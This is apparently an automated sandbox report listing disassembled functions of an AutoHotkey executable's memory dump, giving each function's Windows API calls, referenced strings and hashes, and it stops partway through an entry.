Opcode ID: b8bf1e71b193b7eb715cfa83d37aa3fcdbc239687f9a8bea5a3e72a26b515778
Instruction ID: 74283ab492f7402da41981ba02734e2d8bbf43aa106044db3df538d8db25955c
Opcode Fuzzy Hash: b8bf1e71b193b7eb715cfa83d37aa3fcdbc239687f9a8bea5a3e72a26b515778
Instruction Fuzzy Hash: 84515975608340EFD7649F21C848B6BBBE4FFC9304F108A1EF98A9A291E774D951CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004805D0 Relevance: 15.1, APIs: 10, Instructions: 126COMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00424020,?,004B2BA8,004B2BA0,00000001), ref: 004805E7
CharUpperW.USER32(?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 00480602
CharLowerW.USER32(?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 0048062E
CharUpperW.USER32(?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 00480643
CharLowerW.USER32(?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 0048067D
CharLowerW.USER32(00000000,?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 0048068A
CharLowerW.USER32(?,?,?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 004806A4
CharLowerW.USER32(?,?,?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 004806B2
CharLowerW.USER32(?,?,?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 004806CE
CharLowerW.USER32(00000000,?,?,?,?,?,00424020,?,004B2BA8,004B2BA0,00000001,00000001,000000FF,00000000), ref: 004806DB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Char$Lower$Upper
String ID:
API String ID: 3371602591-0
Opcode ID: 808d362ca0f029c8115cb50b0b1b1874d45a661e1dd4bb1ec9ad759b0530762f
Instruction ID: 54831a4cd5308765c67d618c88d3818f5d73c1392bbbd60089cb17560e0405c3
Opcode Fuzzy Hash: 808d362ca0f029c8115cb50b0b1b1874d45a661e1dd4bb1ec9ad759b0530762f
Instruction Fuzzy Hash: AB418E25910335AB9BA46F16988013FBBE4AE84711B450C2BFC86D6380E63CEC58DB79

Uniqueness

Uniqueness Score: -1.00%

Function 00473760 Relevance: 15.1, APIs: 10, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000407,00000000,?), ref: 00473781
SendMessageW.USER32(00000000,00000408,00000001,?), ref: 00473791
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 004737D9
SendMessageW.USER32(?,00000408,00000001,00000000), ref: 004737E6
SendMessageW.USER32(?,00000417,00000000,00000000), ref: 004737FA
SendMessageW.USER32(?,00000415,00000000,?), ref: 0047380E
SendMessageW.USER32(?,0000041B,00000001,00000000), ref: 00473822
SendMessageW.USER32(?,0000041F,?,00000000), ref: 00473837
SendMessageW.USER32(?,00000420,00000001,?), ref: 0047384D
SendMessageW.USER32(?,00000420,00000000), ref: 00473863

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 93ca42cf9be7416e5d13317c91d165c3028f1e774b7623147ced0c71374b0e21
Instruction ID: 063a8af5e9ae07027dfb1cf5677e85290380858b74c9b649f7e4b070b1532055
Opcode Fuzzy Hash: 93ca42cf9be7416e5d13317c91d165c3028f1e774b7623147ced0c71374b0e21
Instruction Fuzzy Hash: 6F3100F03403047AE724DE69CC82F66B7DD9F84B00F15845ABB44EF2D5C6B5E8819B28

Uniqueness

Uniqueness Score: -1.00%

Function 00453580 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 316COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004D85F4,00000000,?,00000000), ref: 004535A7
LeaveCriticalSection.KERNEL32(004D85F4), ref: 0045370C
LeaveCriticalSection.KERNEL32(004D85F4), ref: 004538BF
_free.LIBCMT ref: 0045390A
__wcsdup.LIBCMT ref: 00453934
LeaveCriticalSection.KERNEL32(004D85F4), ref: 00453977

Strings

Compile error %d at offset %d: %hs, xrefs: 0045383D
0, xrefs: 00453855

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CriticalSection$Leave$Enter__wcsdup_free
String ID: 0$Compile error %d at offset %d: %hs
API String ID: 2407865940-2351679343
Opcode ID: 78a67d05cb4629b95cfb42f76842a0a803c229eaa4788ee90d26f804805081c2
Instruction ID: a615273f3e704f5f51a10ee7c035ab95f179db104d3c17e6a6e1e288e6b3a1e4
Opcode Fuzzy Hash: 78a67d05cb4629b95cfb42f76842a0a803c229eaa4788ee90d26f804805081c2
Instruction Fuzzy Hash: 24C1C1B1A04201DBC710DF14D840B6677E0FF48797F144A6FE85687392E778EA49CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A620 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 204COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043A830

Strings

Line, xrefs: 0043A7BE
Extra, xrefs: 0043A79A
The current thread will exit., xrefs: 0043A8AA, 0043A8B6
File, xrefs: 0043A7E2
Message, xrefs: 0043A779
__Delete will now return., xrefs: 0043A8A3
This DllCall requires a prior VarSetCapacity., xrefs: 0043A640

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Extra$File$Line$Message$The current thread will exit.$This DllCall requires a prior VarSetCapacity.$__Delete will now return.
API String ID: 3832890014-2095053968
Opcode ID: 93b2e31166dd7de60f299133917a67459624c79eeb204a911618123d4489fa83
Instruction ID: f1fc49799b7d9e73a8e7bf30246a7dd7ae7d34c5dd16a010838df674988f0624
Opcode Fuzzy Hash: 93b2e31166dd7de60f299133917a67459624c79eeb204a911618123d4489fa83
Instruction Fuzzy Hash: 7161D2706842009BD714EB159841B9A73E0AB88714F18492FFAC4AB391D77CED568B9F

Uniqueness

Uniqueness Score: -1.00%

Function 0040305D Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 170windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00403B80: _free.LIBCMT ref: 00403BB4
Part of subcall function 00403B80: _free.LIBCMT ref: 00403BEA
Part of subcall function 00403B80: _free.LIBCMT ref: 00403C0D

GetTickCount.KERNEL32 ref: 004015E9
GetMessageW.USER32(?,00000000,00000000,-00000311), ref: 00401630
GetTickCount.KERNEL32 ref: 0040163B
GetFocus.USER32 ref: 004016D4
TranslateAcceleratorW.USER32(00000000,?,?), ref: 0040171A

Part of subcall function 004033B0: GetTickCount.KERNEL32 ref: 004033B0

Strings

8&, xrefs: 00401613
InputHook, xrefs: 0040309F
6Dd, xrefs: 00401646

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick_free$AcceleratorFocusMessageTranslate
String ID: 6Dd$InputHook$8&
API String ID: 3994156647-1183632411
Opcode ID: 689718d5309f8e41934484b7ebdf205f7e3b217cc10e08894611bf51fe10f97f
Instruction ID: 6fe7db36cc520db0f671e2dccaa34a409d2b206318fb22a935eeeca121d0f828
Opcode Fuzzy Hash: 689718d5309f8e41934484b7ebdf205f7e3b217cc10e08894611bf51fe10f97f
Instruction Fuzzy Hash: 1951C0716083009BDB24DB28C884BAFB7E4AB85304F04493FE589A73E1D779ED45C75A

Uniqueness

Uniqueness Score: -1.00%

Function 0044F860 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0044F893
GetForegroundWindow.USER32 ref: 0044F89A

Strings

0, xrefs: 0044F8EC

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountForegroundTickWindow
String ID: 0
API String ID: 1022652907-4108050209
Opcode ID: afab0e26f32e06c0346b2b43f511d089b8248e405038778ff477383ac243d0fc
Instruction ID: d91f49cada566ccf2a15c6802b4066e396848445dfdae21dbddbd09072d9d01d
Opcode Fuzzy Hash: afab0e26f32e06c0346b2b43f511d089b8248e405038778ff477383ac243d0fc
Instruction Fuzzy Hash: 0441B172A012089BE710EF29EC44766B7E5EF89364F15053BED08C73A0E7359808CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7A0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C7B0
__wcsicoll.LIBCMT ref: 0041C7C8

Strings

Label, xrefs: 0041C7F2
Lock, xrefs: 0041C7C2
Unlock, xrefs: 0041C7DA
Eject, xrefs: 0041C7AA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Eject$Label$Lock$Unlock
API String ID: 3832890014-1359929989
Opcode ID: ea537f0dd924644c6813cef5269b3358f2e461a6201835d6068bb2f81b85e7e1
Instruction ID: 592af338825407eb0ec1e2f89942e5897679865235ed718277a9bf49b75ee536
Opcode Fuzzy Hash: ea537f0dd924644c6813cef5269b3358f2e461a6201835d6068bb2f81b85e7e1
Instruction Fuzzy Hash: 10F0A769AC1A2221DF1130395E837DB24951B11B0BF98053BF810D52C1F38DCE84C0AD

Uniqueness

Uniqueness Score: -1.00%

Function 0041D130 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041D140
__wcsicoll.LIBCMT ref: 0041D152
__wcsicoll.LIBCMT ref: 0041D164

Part of subcall function 00499C29: __wcsicmp_l.LIBCMT ref: 00499CA9

__wcsicoll.LIBCMT ref: 0041D176

Strings

Window, xrefs: 0041D15E
Relative, xrefs: 0041D14C
Client, xrefs: 0041D170
Screen, xrefs: 0041D13A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$__wcsicmp_l
String ID: Client$Relative$Screen$Window
API String ID: 3172861507-2312238187
Opcode ID: 710a49eb2f414cd602a6f57de5661da8268c9d34763459bd593c8395dd25ce68
Instruction ID: a11319dfc4586e9051bcbed5d18135407d9c1c6487c9e7a6259036669afcba54
Opcode Fuzzy Hash: 710a49eb2f414cd602a6f57de5661da8268c9d34763459bd593c8395dd25ce68
Instruction Fuzzy Hash: BEE0C9A5F41A1131DE2961255E027EF90880F11707F98057FBC48E16C9F68EDDD6D0BE

Uniqueness

Uniqueness Score: -1.00%

Function 00479600 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 360COMMON

Download Yara Rule

Strings

Too few parameters passed to function., xrefs: 0047962E
Parameter #2 invalid., xrefs: 0047983F
Parameter #1 invalid., xrefs: 004796B6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: Parameter #1 invalid.$Parameter #2 invalid.$Too few parameters passed to function.
API String ID: 0-982959277
Opcode ID: 2ba94e84eea023d7931f8f208e9a98c14f54be12c39add66d1bc98eac8bbd131
Instruction ID: 323e6a2a06831ad46e16a493863aa910e71cb944f2e73ec95725d67e05fe1321
Opcode Fuzzy Hash: 2ba94e84eea023d7931f8f208e9a98c14f54be12c39add66d1bc98eac8bbd131
Instruction Fuzzy Hash: AFD16C716042069FDB14CF19C580AABB3E1FB84318F14CA2FE85987341D779ED55CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004080C6 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 280COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00408311

Strings

integer, xrefs: 004081F9
float, xrefs: 00408224
OU@, xrefs: 004081E1
<response command="property_set" success="%i" transaction_id="%e"/>, xrefs: 004083C3
<exception>, xrefs: 00408282
string, xrefs: 004080F5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free
String ID: <exception>$<response command="property_set" success="%i" transaction_id="%e"/>$OU@$float$integer$string
API String ID: 269201875-251188936
Opcode ID: 5b646af94fb7b5472deeacfe5ece99372dba85d711dd5f442bf5f4f2d619528f
Instruction ID: ea7e7c0c8152a396bd99c501e86dc5d209398b458e9bff96b0edc4aa1427ebf3
Opcode Fuzzy Hash: 5b646af94fb7b5472deeacfe5ece99372dba85d711dd5f442bf5f4f2d619528f
Instruction Fuzzy Hash: 98A1CF711083029FC710CF25C681A2BBBE5BB94754F144A2FF8D5AB2C1DB39D942CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0045A260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 273COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0045A369
__fassign.LIBCMT ref: 0045A3AC
__wcsnicmp.LIBCMT ref: 0045A3D1
__fassign.LIBCMT ref: 0045A3F0
__wcsnicmp.LIBCMT ref: 0045A415

Strings

GDI+, xrefs: 0045A40F
Icon, xrefs: 0045A3CB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$__wcsnicmp
String ID: GDI+$Icon
API String ID: 1066767119-2641797909
Opcode ID: 14dd2da963c5e33db04d023e31245f0d8be0bba2200e09e10fa6c681d7f62fa0
Instruction ID: a90b1513ac67f8cb14990d5fcab72feaa32ed209691aca3dd47fe741971440c7
Opcode Fuzzy Hash: 14dd2da963c5e33db04d023e31245f0d8be0bba2200e09e10fa6c681d7f62fa0
Instruction Fuzzy Hash: A191F4715002009BC7209F198846B3B77E09F85719F144A6FFC869B392E378DD69C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00438330 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00438377
_wcsncpy.LIBCMT ref: 004383E3
_wcsncpy.LIBCMT ref: 00438406
_wcschr.LIBCMT ref: 004384A3
_free.LIBCMT ref: 004384C5
_free.LIBCMT ref: 004385AA

Strings

Out of memory., xrefs: 0043838E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free_wcsncpy$_malloc_wcschr
String ID: Out of memory.
API String ID: 609840974-4087320997
Opcode ID: 7e0c9e94e2ee208a637c642467774ddff0c7be2fc2e1f1ed0a543aad5e89ea21
Instruction ID: cd064838ee68a4cbfcef6521c801cb1d8a79460dee6fc2d10f3a0395d6e69a81
Opcode Fuzzy Hash: 7e0c9e94e2ee208a637c642467774ddff0c7be2fc2e1f1ed0a543aad5e89ea21
Instruction Fuzzy Hash: 3B919FB1E002169BCF20DF58C841AAAF3B5EF98300F14505FF84997341EB79AE51CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00458270 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 224windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(02C50FB0,00001032,00000000,00000000), ref: 0045834F
__wcsnicmp.LIBCMT ref: 0045836A
SendMessageW.USER32(02C50FB0,00001004,00000000,00000000), ref: 004583A1

Strings

Col, xrefs: 00458364

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$__wcsnicmp
String ID: Col
API String ID: 2103314646-737980560
Opcode ID: d5efc11f1e9e223843c4b0948a52296deb1a25f765792460e65b3dc2ffa677e2
Instruction ID: 263f4e8d9834074fc1ec893a6b5fe48e5be853a356a0d61678cf834c9888f934
Opcode Fuzzy Hash: d5efc11f1e9e223843c4b0948a52296deb1a25f765792460e65b3dc2ffa677e2
Instruction Fuzzy Hash: BB61D1716003028BD720DF29D881B2AB7E4EB95716F10456FFD45A7382EF39DC49C6AA

Uniqueness

Uniqueness Score: -1.00%

Function 00409044 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 206COMMON

Download Yara Rule

APIs

__ultow.LIBCMT ref: 004090B5

Strings

apos, xrefs: 004091C1
&%s;, xrefs: 004091DA
quot, xrefs: 004091CF
amp, xrefs: 004091C8, 004091D4

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __ultow
String ID: &%s;$amp$apos$quot
API String ID: 2316798077-350231602
Opcode ID: b2b92453d82d77812000b86d581072dc97e768d685eb95547e74d3ca11d767e4
Instruction ID: 1885f5021236f6ff472df57e361ee7b55e5cefd21785e4f65e8c0ac3811f1551
Opcode Fuzzy Hash: b2b92453d82d77812000b86d581072dc97e768d685eb95547e74d3ca11d767e4
Instruction Fuzzy Hash: 1A61EA30604206ABEF14CF58C488676B7B1EB52304F2444BFD482BB7D3D6399E46D759

Uniqueness

Uniqueness Score: -1.00%

Function 00412480 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 170sleepCOMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,?,?,?,?,00402190,?,?), ref: 00412561
CharUpperW.USER32(?,?,?,?,?,00402190,?,?), ref: 00412572
__swprintf.LIBCMT ref: 004125DC
Sleep.KERNEL32(00000000), ref: 00412651

Strings

%s%c, xrefs: 004125D6
{Text}, xrefs: 004125B8
{Raw}, xrefs: 004125A8, 004125D1

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CharUpper$Sleep__swprintf
String ID: %s%c${Raw}${Text}
API String ID: 676149037-2444501380
Opcode ID: d4e5a247d4b8ea13b8c6cf8cdab22fe946192cb4facecacf7122fed73752beba
Instruction ID: bc389fd488c8ea59aed5ba1bb2efad553bf02c72d67c668d2e9a80ac614513e4
Opcode Fuzzy Hash: d4e5a247d4b8ea13b8c6cf8cdab22fe946192cb4facecacf7122fed73752beba
Instruction Fuzzy Hash: 5551D1306047459BDB209F2985907EBBBE1FF89304F04492EE8CAC7391E7B8E894C759

Uniqueness

Uniqueness Score: -1.00%

Function 00406215 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 159networkCOMMON

Download Yara Rule

APIs

WSAAsyncSelect.WSOCK32(FFFFFFFF,00000000,00000000,00000000,00000001,00000000), ref: 00406230
_memmove.LIBCMT ref: 00406341
ioctlsocket.WSOCK32(FFFFFFFF,8004667E,?), ref: 00406242

Part of subcall function 0040895F: #16.WSOCK32(FFFFFFFF,00000000,00000000,00000000,004DA6A0,?,00000000,0040635D,?), ref: 004089B3

WSAAsyncSelect.WSOCK32(FFFFFFFF,00000408,00000021,?), ref: 004063D5

Strings

<response command="%s" transaction_id="%e, xrefs: 004062E7
<error code="%i"/></response>, xrefs: 00406305
<response command="%s" transaction_id="%e"/>, xrefs: 00406390

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AsyncSelect$_memmoveioctlsocket
String ID: <error code="%i"/></response>$<response command="%s" transaction_id="%e$<response command="%s" transaction_id="%e"/>
API String ID: 1565968819-3791457405
Opcode ID: 6293f0b70115966cd890f029f067f341165aeb261ffacef0fc3cfd90e9beaf65
